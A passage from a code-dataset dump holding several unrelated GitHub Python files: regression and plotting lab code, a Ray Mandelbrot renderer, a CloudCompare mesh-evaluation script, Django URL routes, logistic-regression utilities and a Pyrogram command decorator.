ilustracji: wycinek danych.\n# Zmienna moc przemnożnona przez 10, aby lepiej było widać korelację.\nplt.plot(range(len(moc[1000:1100])), [i*10 for i in moc[1000:1100]])\nplt.plot(range(len(przeplyw[1000:1100])), przeplyw[1000:1100])\nplt.title(\"Duża korelacja dodatnia. Zmienna moc przemnożona przez 10.\")\nplt.ylabel('dół: moc; góra: przeplyw')\nplt.xlabel('Numer obserwacji')\nplt.show()\n\n# Wykres zależności przeplyw od moc\nplt.plot(moc, przeplyw, '.')\nplt.title(\"Duża korelacja dodatnia\")\nplt.xlabel('moc')\nplt.ylabel('przeplyw')\nplt.show()\n\n\n# 2. Zmienne skorelowane ujemnie: roznica_temp, temp_out\n\n# Wykres liniowy\nplt.plot(range(len(roznica_temp)), roznica_temp, \"x\")\nplt.plot(range(len(temp_out)), temp_out, \"+\")\nplt.title(\"Średnia korelacja ujemna\")\nplt.ylabel('x: roznica_temp; +: temp_out')\nplt.xlabel('Numer obserwacji')\nplt.show()\n\n# Dla lepszej ilustracji: wycinek danych\nplt.plot(range(len(roznica_temp[1000:1100])), roznica_temp[1000:1100])\nplt.plot(range(len(temp_out[1000:1100])), temp_out[1000:1100])\nplt.title(\"Średnia korelacja ujemna.\")\nplt.ylabel('dol: roznica_temp; gora: temp_out')\nplt.xlabel('Numer obserwacji')\nplt.show()\n\n# Wykres zależności temp_out od roznica_temp\nplt.plot(roznica_temp, temp_out, '.')\nplt.title(\"Średnia korelacja ujemna.\")\nplt.xlabel('roznica_temp')\nplt.ylabel('temp_out')\nplt.show()\n\n\n#######################\n# E. Regresja liniowa #\n#######################\n\n# Analiza przeprowadzona tylko dla jednej zmiennej, temp_in\n\nprint()\nprint(\"REGRESJA LINIOWA\")\n# Wybieramy zmienną temp_in w funkcji numeru obserwacji\nx = range(len(temp_in))\ny = temp_in\n# Liczymy współczynniki regresji - prostej\na,b = np.polyfit(x,y,1) # Wielomian 1 rzędu - prosta\nprint(\"Wzór prostej: y(x) =\",a,\"* x +\",b)\n# Wyliczamy punkty prostej otrzymanej w wyniku regresji\nyreg = [a*i + b for i in x]\n# Wykresy\nplt.plot(x,y)\nplt.plot(x,yreg)\nplt.title(\"Regresja liniowa dla całosci danych zmiennej temp_in\")\nplt.xlabel('Numer obserwacji')\nplt.ylabel('temp_in')\nplt.show()\n\n\n# ### ZADANIE (1.5p.) ###\n# # Z wykresu widać, że regresja liniowa dla całości zmiennej temp_in słabo się sprawdza.\n# # Wynika to z tego, że inaczej dane rozkładają się w róznych porach roku.\n# # Należy więc podzielić dane na kilka podzakresów i regresję wykonać osobno\n# # dla każdego z podzakresu. Narysować odpowiedni wykres.\n# ### KONIEC ###\n\nprint()\nprint(\"Regresja liniowa dla czterech zakresów\")\n# Wybieramy zmienną temp_in w funkcji numeru obserwacji\ncalosc = range(len(temp_in))\ny = temp_in\nyreg = []\nz = np.asarray(temp_in)\nfor chunk in np.array_split(z,4):\n x = range(len(chunk))\n a, b = np.polyfit(x, chunk, 1)\n print(\"Wzór prostej: y(x) =\", a, \"* x +\", b)\n yreg += [a * i + b for i in x]\n# # Wykresy\nplt.plot(calosc,y)\nplt.plot(calosc,yreg)\nplt.title(\"Regresja liniowa dla czterech zakresów danych zmiennej temp_in\")\nplt.xlabel('Numer obserwacji')\nplt.ylabel('temp_in')\nplt.show()\n\n\n# ### ZADANIE (1.5p.) ###\n# # Przeprowadzić regresję wielomianową wielomianem 2 stopnia dla zmiennej temp_in.\n# # Narysować wykres otrzymanej krzywej na tle zmiennej temp_in.\n# ### KONIEC ###\n#\nprint()\nprint(\"REGRESJA LINIOWA DRUGIEGO STOPNIA\")\nx = range(len(temp_in))\ny = temp_in\na,b,c = np.polyfit(x,y,2)\nprint(\"Wzór prostej: y(x) =\",a,\"* x +\",b)\nyreg = [a*(i**2) +b*i + c for i in x]\nplt.plot(x,y)\nplt.plot(x,yreg)\nplt.title(\"Regresja liniowa drugiego stopnia dla zmiennej temp_in\")\nplt.xlabel('Numer obserwacji')\nplt.ylabel('temp_in')\nplt.show()\n\n\n# Regresja liniowa dla zmiennych z dużą korelacją dodatnią: moc, przeplyw\na,b = np.polyfit(moc,przeplyw,1) # Wielomian 1 rzędu - prosta\nyreg = [a*i + b for i in moc]\n# Wykresy\nplt.plot(moc,przeplyw,\".\")\nplt.plot(moc,yreg)\nplt.title(\"Regresja liniowa\")\nplt.xlabel('moc')\nplt.ylabel('przeplyw')\nplt.show()\n\n\n# Regresja liniowa dla zmiennych ze słabą korelacją ujemną: roznica_temp, temp_out\na,b = np.polyfit(roznica_temp,temp_out,1) # Wielomian 1 rzędu - prosta\nyreg = [a*i + b for i in roznica_temp]\n# Wykresy\nplt.plot(roznica_temp,temp_out,\".\")\nplt.plot(roznica_temp,yreg)\nplt.title(\"Regresja liniowa\")\nplt.xlabel('roznica_temp')\nplt.ylabel('temp_out')\nplt.show()\n\n# Predykcja danych z losowej listy\nroznica_temp = []\nimport random\nfor i in range(20):\n\troznica_temp.append(random.randint(0,100))\n\n# Wyliczenie wyników na podstawie regresji i zapis do listy\ntemp_out = [[i, a*i+b] for i in roznica_temp]\nprint(\"Wyniki predykcji:\",temp_out)\n\n","repo_name":"magdalenathomas/MyCode","sub_path":"modelowanie danych/python/zadania_python_a/lab3/lab3_zdalnie_a.py","file_name":"lab3_zdalnie_a.py","file_ext":"py","file_size_in_byte":11107,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"75148544589","text":"from datetime import datetime\nimport math\nimport time\n\nfrom PIL import Image\nimport ray\n\nray.init()\n\n\nARTIFICIAL_SLOWDOWN = 0.01\n\nFILL = \" -+o%#@\"\n\nZOOM = 100000\nASPECT_RATIO = 2.0\n\nSIZE_X = 200\nSIZE_Y = 50\n\nX_RANGE = (-.743643135 - 1.0 / ZOOM, -.743643135 + 1.0 / ZOOM)\nY_RANGE = (.131825963 - 1.0 / (ZOOM * ASPECT_RATIO), .131825963 + 1.0 / (ZOOM * ASPECT_RATIO))\n\nX_STEP = (X_RANGE[1] - X_RANGE[0]) / SIZE_X\nY_STEP = (Y_RANGE[1] - Y_RANGE[0]) / SIZE_Y\n\nV_RANGE = (0.0, 1.0)\n\noutput = \"\"\n\nMAX_ITER = 500\n\n\ndef draw_value(v):\n return FILL[math.floor((v - V_RANGE[0]) / (V_RANGE[1] - V_RANGE[0]) * (len(FILL) - 1) )]\n\n\ndef draw_pixel(v):\n return math.floor(v * 256)\n\n\n@ray.remote\ndef mandel(x0, y0):\n x = 0.0\n y = 0.0\n i = 0\n\n while x * x + y * y < 4 and i < MAX_ITER:\n x1 = x * x - y * y + x0\n y = 2 * x * y + y0\n x = x1\n i += 1\n\n # time.sleep(ARTIFICIAL_SLOWDOWN)\n\n return draw_value(i / MAX_ITER)\n\n\nstart = datetime.now()\n\nresults = list()\n\nfor ys in range(0, SIZE_Y):\n y = Y_RANGE[0] + Y_STEP * ys\n for xs in range(0, SIZE_X):\n x = X_RANGE[0] + X_STEP * xs\n results.append(mandel.remote(x, y))\n\nprint(\"end calculations: \", datetime.now() - start)\n\nfor ys in range(0, SIZE_Y):\n for xs in range(0, SIZE_X):\n output += ray.get(results.pop(0))\n output += \"\\n\"\n\n\nend = datetime.now()\n\nprint(output)\n\nprint(\"finished: \", datetime.now() - start)\n","repo_name":"shadeofblue/ray-experiments","sub_path":"mandelbrot.py","file_name":"mandelbrot.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"22993196919","text":"import numpy as np\nimport subprocess\nfrom pathlib import Path\nimport os\nfrom os.path import join\nimport pandas as pd\nimport time\nimport argparse\n\n# Arguments\nparser = argparse.ArgumentParser(\n description='Evaluate 3D Meshes'\n)\nparser.add_argument('--demo', action='store_true', help='Trim predicted mesh to match demo GT')\nparser.add_argument('--color_mesh', action='store_true',\n help='Evaluate voxblox mesh (or other meshes with RGB pointcloud info)')\nparser.add_argument('--num_pc', type=int, default=200000,\n help='number of sampled point clouds from mesh')\nargs = parser.parse_args()\n\nnum_pc = args.num_pc\ndemo = args.demo\ncolor_mesh = args.color_mesh\n\nif demo:\n d = {'model': [],\n 'accuracy': [],\n 'completeness': [],\n 'completeness_o': [],\n 'recall_025': [],\n 'recall_05': [],\n 'recall_075': [],\n 'recall_025_o': [],\n 'recall_05_o': [],\n 'recall_075_o': []\n }\nelse:\n d = {'model': [],\n 'accuracy': [],\n 'completeness': [],\n 'recall_025': [],\n 'recall_05': [],\n 'recall_075': [],\n }\n\nmesh_dir = \"evaluation\"\nmesh_gt_dir = join(mesh_dir, \"mesh_gt\")\nmesh_gt = join(mesh_gt_dir, (sorted(os.listdir(mesh_gt_dir))[-1]))\nmesh_pred_dir = join(mesh_dir, \"mesh_pred\")\nmesh_pred_list = sorted(os.listdir(mesh_pred_dir))[1:]\nprint(mesh_pred_list)\n\neval_dir = \"evaluation\"\nasc_dir = join(eval_dir, \"asc\")\nPath(asc_dir).mkdir(parents=True, exist_ok=True)\n\nfor i in range(len(mesh_pred_list)):\n mesh_pred_name = mesh_pred_list[i]\n mesh_pred = join(mesh_pred_dir, mesh_pred_name)\n\n out_name = mesh_pred_name[:-4] + \".asc\"\n out_c_name = \"c_\" + mesh_pred_name[:-4] + \".asc\"\n asc_out = join(asc_dir, out_name)\n asc_c_out = join(asc_dir, out_c_name)\n temp_out = join(eval_dir, \"temp.bin\")\n\n command = \"CloudCompare -SILENT -AUTO_SAVE OFF -o {} -SAMPLE_MESH POINTS {} -SAVE_CLOUDS FILE {}\".format(\n mesh_pred, num_pc, temp_out)\n subprocess.run(command.split())\n time.sleep(1.0)\n command = \"CloudCompare -SILENT -AUTO_SAVE OFF -C_EXPORT_FMT ASC -o {} -o {} -c2m_dist -SAVE_CLOUDS FILE {}\".format(\n temp_out, mesh_gt, asc_out)\n subprocess.run(command.split())\n command = \"CloudCompare -SILENT -AUTO_SAVE OFF -o {} -SAMPLE_MESH POINTS {} -SAVE_CLOUDS FILE {}\".format(\n mesh_gt, num_pc, temp_out)\n subprocess.run(command.split())\n time.sleep(1.0)\n command = \"CloudCompare -SILENT -AUTO_SAVE OFF -C_EXPORT_FMT ASC -o {} -o {} -c2m_dist -SAVE_CLOUDS FILE {}\".format(\n temp_out, mesh_pred, asc_c_out)\n subprocess.run(command.split())\n\n # Pred to GT\n pred_to_gt = np.loadtxt(asc_out)\n\n if color_mesh == False:\n pred_to_gt[:, 3] = np.abs(pred_to_gt[:, 3])\n else:\n pred_to_gt[:, 6] = np.abs(pred_to_gt[:, 6])\n\n if demo:\n trim_x = -1.764147162437439\n trim_z = 0.8207700848579407\n mask_low = pred_to_gt[:, 1] < 0.3\n mask_z = pred_to_gt[:, 2] < trim_z\n mask_excess = np.logical_and(mask_low, mask_z)\n pred_to_gt = pred_to_gt[~mask_excess]\n pred_to_gt = pred_to_gt[pred_to_gt[:, 0] > trim_x]\n\n # GT to pred\n gt_to_pred = np.loadtxt(asc_c_out)\n gt_to_pred[:, 3] = np.abs(gt_to_pred[:, 3])\n\n if color_mesh == False:\n mean_dist_acc = np.mean(pred_to_gt[:, 3])\n else:\n mean_dist_acc = np.mean(pred_to_gt[:, 6])\n\n mean_dist_com = np.mean(gt_to_pred[:, 3])\n\n recall_025 = np.sum(gt_to_pred[:, 3] < 0.025) / len(gt_to_pred)\n recall_05 = np.sum(gt_to_pred[:, 3] < 0.05) / len(gt_to_pred)\n recall_075 = np.sum(gt_to_pred[:, 3] < 0.075) / len(gt_to_pred)\n\n if demo:\n # remove ground gt_to_m\n gt_to_pred_no_ground = gt_to_pred[gt_to_pred[:, 1] > 0.15]\n mean_dist_com_no_ground = np.mean(gt_to_pred_no_ground[:, 3])\n recall_no_ground_025 = np.sum(gt_to_pred_no_ground[:, 3] < 0.025) / len(gt_to_pred_no_ground)\n recall_no_ground_05 = np.sum(gt_to_pred_no_ground[:, 3] < 0.05) / len(gt_to_pred_no_ground)\n recall_no_ground_075 = np.sum(gt_to_pred_no_ground[:, 3] < 0.075) / len(gt_to_pred_no_ground)\n\n d['model'].append(mesh_pred_name[:-4])\n d['accuracy'].append(mean_dist_acc)\n d['completeness'].append(mean_dist_com)\n\n if demo:\n d['completeness_o'].append(mean_dist_com_no_ground)\n\n d['recall_025'].append(recall_025)\n d['recall_05'].append(recall_05)\n d['recall_075'].append(recall_075)\n\n if demo:\n d['recall_025_o'].append(recall_no_ground_025)\n d['recall_05_o'].append(recall_no_ground_05)\n d['recall_075_o'].append(recall_no_ground_075)\n\ndf = pd.DataFrame(d)\ncsv_out = join(eval_dir, \"evaluation.csv\")\ndf.to_csv(csv_out, index=False)\n\ncommand = \"rm {}\".format(temp_out)\nsubprocess.run(command.split())\n","repo_name":"ethz-asl/neuralblox","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"82"} +{"seq_id":"71359183627","text":"from mysite import views\nfrom django.urls import path, include\n\n\nurlpatterns = [\n path('', views.index, name=\"index\"),\n path('index/', views.index),\n path('simplex/', views.get_simplex),\n path('simplex3/', views.simplex3, name='simplex3'),\n path('get_simplex3/',views.get_simplex3),\n path('simplexduasfases/',views.simplexduasfases,\n name='simplexduasfases'),\n path('simplex3duasfases/',views.simplex3duasfases,\n name='simplex3duasfases'),\n path('get_simplexduasfases/',views.get_simplexduasfases,\n name='get_simplexduasfases'),\n path('get_simplex3duasfases/',views.get_simplex3duasfases),\n path('gomory/', views.gomory, name='gomory'),\n path('get_gomory/',views.get_gomory),\n path('gomory3/', views.gomory3, name='gomory3'),\n path('transporte/', views.transporte, name='transporte'),\n path('get_transporte_number/', views.get_transporte_number),\n path('get_transporte/', views.get_transporte)\n]","repo_name":"denisakira/simplex-django","sub_path":"mysite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6707275087","text":"import csv\nimport copy\nimport math\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing as prep\nimport sys\nimport math\nimport numpy as np;\nfrom numpy import linalg as la\n\ndef printf(format,*args):\n sys.stdout.write(format % args)\n\n# Read CSV file and return float data array.abs\ndef readCSVFile(filename):\n with open(filename, newline='\\n') as csvfile:\n datareader = csv.reader(csvfile, delimiter=',')\n mat = list(datareader);\n data = np.array(mat[0:],dtype=np.float_);\n return data;\n\n\ndef computeCostRegression(theta,inputParm,cost):\n #no of training sampleas\n m=len(cost);\n computedCost = 0;\n sizeInput=inputParm.shape;\n #printf(\"m= %d, sizes [%d,%d]\\n\", m, sizeInput[0],sizeInput[1]);\n # ====================== YOUR CODE HERE ======================\n # Instructions: Compute the cost of a particular choice of theta\n # You should set J to the cost.\n # Paramter validation: Diimension of X, y and theta should be compatible.\n #\n # J(theta) = 1/2m sum i=1 to m (X*Theta - y)' * (X * Theta -y)\n temp = np.dot(inputParm,theta) - cost;\n sizetmp = temp.shape;\n# printf(\"sizetmp = [%d,%d]\\n\",sizetmp[0],sizetmp[1]);\n computedCost = np.dot(temp.transpose(),temp)/(2*m);\n# printf(\"in func %f \\n\", computedCost);\n return computedCost;\n\ndef costAndGradientDescentRegression(theta, inputParm, cost, alpha, no_iteration):\n #this function calculates gradientDescent.\n #size of training set\n m=len(cost);\n J_history = np.zeros(no_iteration);\n dim = inputParm.shape;\n #print(dim);\n convergenceDirection =0;\n for j in range (0,no_iteration):\n for i in range(0,dim[1]):\n tmpTheta = np.zeros((dim[1],1),dtype=np.float_);\n predictedCost = np.dot(inputParm,theta);\n diffToActualCoast = predictedCost - cost;\n ithClmn = inputParm[:,i];\n #print(ithClmn.shape);\n ithClmn = ithClmn.reshape(dim[0],1);\n tmpTheta[i] = np.dot(diffToActualCoast.transpose(), ithClmn)/m;\n tmpTheta[i] = theta[i] - (alpha*tmpTheta[i]);\n theta[i] = tmpTheta[i];\n J_history[j] = computeCostRegression(inputParm,cost,theta);\n if j>1:\n if J_history[j]>J_history[j-1]:\n if convergenceDirection <= 0:\n printf(\"Convergence Direction Change to pos\\n\")\n convergenceDirection = 1\n else:\n if convergenceDirection >=0 :\n printf(\"Convergence Direction Change to neg\\n\")\n convergenceDirection = -11\n #printf(\"Theta[%f,%f] cost [%f]\\n\",theta[0],theta[1],J_history[j]);\n #printf(\"itr=%d, j=%f\\n\",j,J_history[j]);\n return (theta,J_history);\ndef gradientDescentRegression(theta, inputParm, cost, alpha, no_iteration):\n #this function calculates gradientDescent.\n #size of training set\n m=len(cost);\n dim = inputParm.shape;\n #print(dim);\n convergenceDirection =0;\n for j in range (0,no_iteration):\n for i in range(0,dim[1]):\n tmpTheta = np.zeros((dim[1],1),dtype=np.float_);\n predictedCost = np.dot(inputParm,theta);\n diffToActualCoast = predictedCost - cost;\n ithClmn = inputParm[:,i];\n #print(ithClmn.shape);\n ithClmn = ithClmn.reshape(dim[0],1);\n tmpTheta[i] = np.dot(diffToActualCoast.transpose(), ithClmn)/m;\n tmpTheta[i] = theta[i] - (alpha*tmpTheta[i]);\n theta[i] = tmpTheta[i];\n return theta;\n# Logistic regression specific cost and gradient function.\n\n#============================================\n#Function to calculate sigmoid of matrix x\ndef sigmoid (z):\n return 1/(1 + np.exp(-z))\n\n#Predict\n##############################################\ndef predict(theta, X):\n #PREDICT Predict whether the label is 0 or 1 using learned logistic\n #regression parameters theta\n # p = PREDICT(theta, X) computes the predictions for X using a\n # threshold at 0.5 (i.e., if sigmoid(theta'*x) >= 0.5, predict 1)\n\n m = len(X[:,0:1]); # Number of training examples\n\n # You need to return the following variables correctly\n p = np.zeros((m,1))\n\n #% ====================== YOUR CODE HERE ======================\n #% Instructions: Complete the following code to make predictions using\n #% your learned logistic regression parameters.\n #% You should set p to a vector of 0's and 1's\n #%\n #% probability that y=1 for given x at theta = hthetha(x) = g(z)\n z = np.dot(X,theta);\n h = sigmoid(z);\n posIndex = np.where(h >= 0.5);\n p[posIndex] = 1; # htheta(x)>= 0.5 ==> y = 1;\n return p\n# =========================================================================\n\n\n\n#============================================\n#Function to calculate sigmoid of matrix x\ndef sigmoid (z):\n return 1/(1 + np.exp(-z))\n\ndef costFunctionLogisticRegression (theta, X, y):\n J = 0;\n grad = np.zeros((len(theta),1))\n # Instructions: Compute the cost of a particular choice of theta.\n # You should set J to the cost.\n # Compute the partial derivatives and set grad to the partial\n # derivatives of the cost w.r.t. each parameter in theta\n #\n # Note: grad should have the same dimensions as theta\n #\n #This function calculate cost for given theta vector.\n # J(Theta) = 1/m ( -ytranspose * log ( h) - (1 - y)transpose * log (1 - h) );\n # h = g(z) = sigmoid(X*theta) where z=X*theta;\n z = np.dot(X,theta);\n h = sigmoid(z)\n m = len(y)\n # Calculate ytranspose * log(h)\n tmp1 = np.dot(y.transpose(),np.log(h))\n tmp2 = np.dot((1-y).transpose(),np.log(1-h));\n J = (-tmp1 - tmp2)/m;\n return J\n\ndef coastAndGradientDescentLogisticRegression (theta, X, y):\n J = 0;\n grad = np.zeros((len(theta),1))\n # Instructions: Compute the cost of a particular choice of theta.\n # You should set J to the cost.\n # Compute the partial derivatives and set grad to the partial\n # derivatives of the cost w.r.t. each parameter in theta\n #\n # Note: grad should have the same dimensions as theta\n #\n #This function calculate cost for given theta vector.\n # J(Theta) = 1/m ( -ytranspose * log ( h) - (1 - y)transpose * log (1 - h) );\n # h = g(z) = sigmoid(X*theta) where z=X*theta;\n z = np.dot(X,theta);\n h = sigmoid(z)\n m = len(y)\n # Calculate ytranspose * log(h)\n tmp1 = np.dot(y.transpose(),np.log(h))\n tmp2 = np.dot((1-y).transpose(),np.log(1-h));\n J = (-tmp1 - tmp2)/m;\n # Now calculate gradient.\n # Using vectorized formulla to calculate gradient\n # Grad = 1/m * XTranspose * (h-y)\n #\n grad = np.dot(X.transpose(),(h-y))/m;\n return (J,grad)\n\ndef GradientDescentLogisticRegression (theta, X, y):\n grad = np.zeros((len(theta),1))\n # Instructions: Compute the cost of a particular choice of theta.\n # You should set J to the cost.\n # Compute the partial derivatives and set grad to the partial\n # derivatives of the cost w.r.t. each parameter in theta\n #\n # Note: grad should have the same dimensions as theta\n #\n #This function calculate cost for given theta vector.\n # J(Theta) = 1/m ( -ytranspose * log ( h) - (1 - y)transpose * log (1 - h) );\n # h = g(z) = sigmoid(X*theta) where z=X*theta;\n z = np.dot(X,theta);\n h = sigmoid(z)\n m = len(y)\n\n # Now calculate gradient.\n # Using vectorized formulla to calculate gradient\n # Grad = 1/m * XTranspose * (h-y)\n #\n grad = np.dot(X.transpose(),(h-y))/m;\n return grad;\n\ndef GradientDescentLogisticRegressionLR(theta, X, y, l):\n X=np.matrix(X);\n y=np.matrix(y);\n theta = np.matrix(theta);\n theta = theta.getT();\n dim=np.shape(theta);\n #theta.reshape(dim[0],1);\n grad = copy.copy(theta);\n\n # ====================== YOUR CODE HERE ======================\n # Instructions: Compute the cost of a particular choice of theta.\n # You should set J to the cost.\n # Compute the partial derivatives and set grad to the partial\n # derivatives of the cost w.r.t. each parameter in theta\n\n # function used to calculate cost is\n # J(Theta) = 1/m ( -ytranspose * log ( h) - (1 - y)transpose * log (1 - h) ) + ...\n # l /2m *sum(theta.^2)\n # h = g(X*theta) = sigmoid(X*theta)\n # we do not want to penalise theta0 so setting tmpTheta(1) =0;\n\n tmpTheta = np.matrix(copy.copy(theta));\n tmpTheta[0] = 0;\n #print(theta)\n z = np.dot(X,theta);\n #h = g(z)\n h = sigmoid(z);\n m = len(y);\n #J = ( -y' * log(h) - (1 - y)' * log ( 1 - h))/m + (l/(2*m)) * thetaSqSum;\n # Now calculate gradient.\n # Using vectorized formulla to calculate gradient\n # Grad = 1/m * XTranspose * (h-y)\n grad = (np.dot(X.getT(),(h-y)) + np.multiply(l, tmpTheta))/m;\n return grad;\n\n\ndef computeCostLogisticRegressionLR(theta,X, y,l):\n\n # COSTFUNCTIONREG Compute cost and gradient for logistic regression with regularization\n # J = COSTFUNCTIONREG(theta, X, y, l) computes the cost of using\n # theta as the parameter for regularized logistic regression and the\n # gradient of the cost w.r.t. to the parameters.\n # Initialize some useful values\n m = len(y); # number of training examples\n\n # You need to return the following variables correctly\n J = 0;\n theta = np.matrix(theta);\n theta = theta.getT();\n dim=np.shape(theta);\n X=np.matrix(X);\n y=np.matrix(y);\n #print(dim)\n #grad = np.zeros((dim[0],dim[1]));\n\n # ====================== YOUR CODE HERE ======================\n # Instructions: Compute the cost of a particular choice of theta.\n # You should set J to the cost.\n # Compute the partial derivatives and set grad to the partial\n # derivatives of the cost w.r.t. each parameter in theta\n\n # function used to calculate cost is\n # J(Theta) = 1/m ( -ytranspose * log ( h) - (1 - y)transpose * log (1 - h) ) + ...\n # l /2m *sum(theta.^2)\n # h = g(X*theta) = sigmoid(X*theta)\n # we do not want to penalise theta0 so setting tmpTheta(1) =0;\n\n tmpTheta = copy.copy(theta);\n tmpTheta[0] = 0;\n #print(theta)\n z = np.dot(X,theta);\n #h = g(z)\n h = sigmoid(z);\n m = len(y);\n thetaSqSum = np.sum(np.power(tmpTheta,2), axis=0)\n #print(thetaSqSum)\n term1 = (-y.getT()).dot(np.log(h));\n term2 = ((1-y).getT()).dot(np.log(1-h))\n J = (term1 - term2)/np.double(m) + np.double(l/(2*m))*thetaSqSum;\n return J\n\n#function out = mapFeature(X1, X2)\n#% MAPFEATURE Feature mapping function to polynomial features\n#%\n#% MAPFEATURE(X1, X2) maps the two input features\n#% to quadratic features used in the regularization exercise.\n#%\n#% Returns a new feature array with more features, comprising of\n#% X1, X2, X1.^2, X2.^2, X1*X2, X1*X2.^2, etc..\n#%\n#% Inputs X1, X2 must be the same size\n#%\n\ndef mapFeature(X1,X2):\n degree = 6;\n dim = np.shape(X1);\n if not dim :\n out = np.ones((1,1));\n X1 = np.matrix(X1);\n X2 = np.matrix(X2);\n else:\n out = np.ones((dim[0],1));\n out.reshape(dim[0],1);\n dimout = np.shape(out);\n #print(dimout)\n #print(dim)\n #printf(\"Sise of out [%d,%d], size of input X [%d %d]\\n\",dimout[0],dimout[1],dim[0],dim[1]);\n for i in range (1,degree+1):\n for j in range(0,i+1):\n X1temp = np.power(X1,(i-j));\n X2temp = np.power(X2,j);\n Xtemp = np.multiply(X1temp,X2temp);\n #out=np.append(out,Xtemp,axis=1)\n out = np.hstack((out,Xtemp));\n #print(\"X\");\n #out(:, end+1) = (X1.^(i-j)).*(X2.^j);\n return out;\n\n# SImple scatter data\ndef plotData(X,y):\n Xaxis = X[:,0:1]\n Yaxis = X[:,1:2]\n posIndex = np.where(y==1);\n negIndex = np.where(y==0);\n plt.scatter(Xaxis[posIndex],Yaxis[posIndex], marker='+', label=' y = 1');\n plt.scatter(Xaxis[negIndex],Yaxis[negIndex], marker='o', label=' y = 0');\n plt.legend();\n legend = plt.legend(loc='upper right corner', shadow=True, fontsize='small')\n legend.get_frame().set_facecolor('#FFCC00')\n\ndef plotDecisionBoundary(theta,X,y):\n '''\n #PLOTDECISIONBOUNDARY Plots the data points X and y into a new figure with\n #the decision boundary defined by theta\n % PLOTDECISIONBOUNDARY(theta, X,y) plots the data points with + for the\n % positive examples and o for the negative examples. X is assumed to be\n % a either\n % 1) Mx3 matrix, where the first column is an all-ones column for the\n % intercept.\n % 2) MxN, N>3 matrix, where the first column is all-ones\n # Plot Data\n '''\n #plotData\n dim = X.shape;\n plotData(X[:,1:3],y);\n if dim[1] <=3:\n #Only need 2 points to define a line, so choose two endpoints\n plot_x = [np.min(X[:,1])-2, np.max(X[:,1])+2];\n tmpy = np.multiply(theta(1),plot_x) + theta[0];\n plot_y = np.multiply(-(1/theta[2]),tmpy);\n plt.plot(plot_x,plot_y);\n else:\n u=np.linspace(-1,1.5,50);\n v=np.linspace(-1,1.5,50);\n z = np.zeros((len(u),len(v)));\n for i in range(0,len(u)):\n for j in range(0,len(v)):\n z[i,j] = np.dot(mapFeature(u[i],v[j]),theta);\n z = z.transpose();\n plt.contour(u,v,z,0)\n","repo_name":"skd73/study","sub_path":"ml/lib/mlutils.py","file_name":"mlutils.py","file_ext":"py","file_size_in_byte":13328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14412938714","text":"import typing\n\nimport pyrogram\n\nfrom tgEasy.scaffold import Scaffold\n\nfrom ..config import Config\nfrom ..helpers import handle_error\n\n\nclass Command(Scaffold):\n def command(\n self,\n command: typing.Union[str, list],\n pm_only: typing.Union[bool, bool] = False,\n group_only: typing.Union[bool, bool] = False,\n self_admin: typing.Union[bool, bool] = False,\n self_only: typing.Union[bool, bool] = False,\n handler: typing.Optional[list] = None,\n filter: typing.Union[pyrogram.filters.Filter, pyrogram.filters.Filter] = None,\n *args,\n **kwargs\n ):\n \"\"\"\n ### `tgEasy.tgClient.command`\n - A decorater to Register Commands in simple way and manage errors in that Function itself, alternative for `@pyrogram.Client.on_message(pyrogram.filters.command('command'))`\n - Parameters:\n - command (str || list):\n - The command to be handled for a function\n\n - group_only (bool) **optional**:\n - If True, the command will only executed in Groups only, By Default False.\n\n - pm_only (bool) **optional**:\n - If True, the command will only executed in Private Messages only, By Default False.\n\n - self_only (bool) **optional**:\n - If True, the command will only excute if used by Self only, By Default False.\n\n - handler (list) **optional**:\n - If set, the command will be handled by the specified Handler, By Default `Config.HANDLERS`.\n\n - self_admin (bool) **optional**:\n - If True, the command will only executeed if the Bot is Admin in the Chat, By Default False\n\n - filter (`~pyrogram.filters`) **optional**:\n - Pyrogram Filters, hope you know about this, for Advaced usage. Use `and` for seaperating filters.\n\n #### Example\n .. code-block:: python\n import pyrogram\n from tgEasy import tgClient\n\n app = tgClient(pyrogram.Client())\n\n @app.command(\"start\", group_only=False, pm_only=False, self_admin=False, self_only=False, pyrogram.filters.chat(\"777000\") and pyrogram.filters.text)\n async def start(client, message):\n await message.reply_text(f\"Hello {message.from_user.mention}\")\n \"\"\"\n if handler is None:\n handler = Config.HANDLERS\n if filter:\n if self_only:\n filter = (\n pyrogram.filters.command(command, prefixes=handler)\n & filter\n & pyrogram.filters.me\n )\n else:\n filter = (\n pyrogram.filters.command(command, prefixes=handler)\n & filter\n & pyrogram.filters.me\n )\n else:\n if self_only:\n filter = (\n pyrogram.filters.command(command, prefixes=handler)\n & pyrogram.filters.me\n )\n else:\n filter = pyrogram.filters.command(command, prefixes=handler)\n\n def wrapper(func):\n async def decorator(client, message: pyrogram.types.Message):\n if (\n self_admin\n and message.chat.type != pyrogram.enums.ChatType.SUPERGROUP\n ):\n return await message.reply_text(\n \"This command can be used in supergroups only.\"\n )\n if self_admin:\n me = await client.get_chat_member(\n message.chat.id, (await client.get_me()).id\n )\n if me.status not in (\n pyrogram.enums.ChatMemberStatus.OWNER,\n pyrogram.enums.ChatMemberStatus.ADMINISTRATOR,\n ):\n return await message.reply_text(\n \"I must be admin to execute this Command\"\n )\n if (\n group_only\n and message.chat.type != pyrogram.enums.ChatType.SUPERGROUP\n ):\n return await message.reply_text(\n \"This command can be used in supergroups only.\"\n )\n if pm_only and message.chat.type != pyrogram.enums.ChatType.PRIVATE:\n return await message.reply_text(\n \"This command can be used in PMs only.\"\n )\n try:\n await func(client, message)\n except pyrogram.errors.exceptions.forbidden_403.ChatWriteForbidden:\n await client.leave_chat(message.chat.id)\n except BaseException as exception:\n return await handle_error(exception, message)\n\n self.__client__.add_handler(\n pyrogram.handlers.MessageHandler(callback=decorator, filters=filter)\n )\n return decorator\n\n return 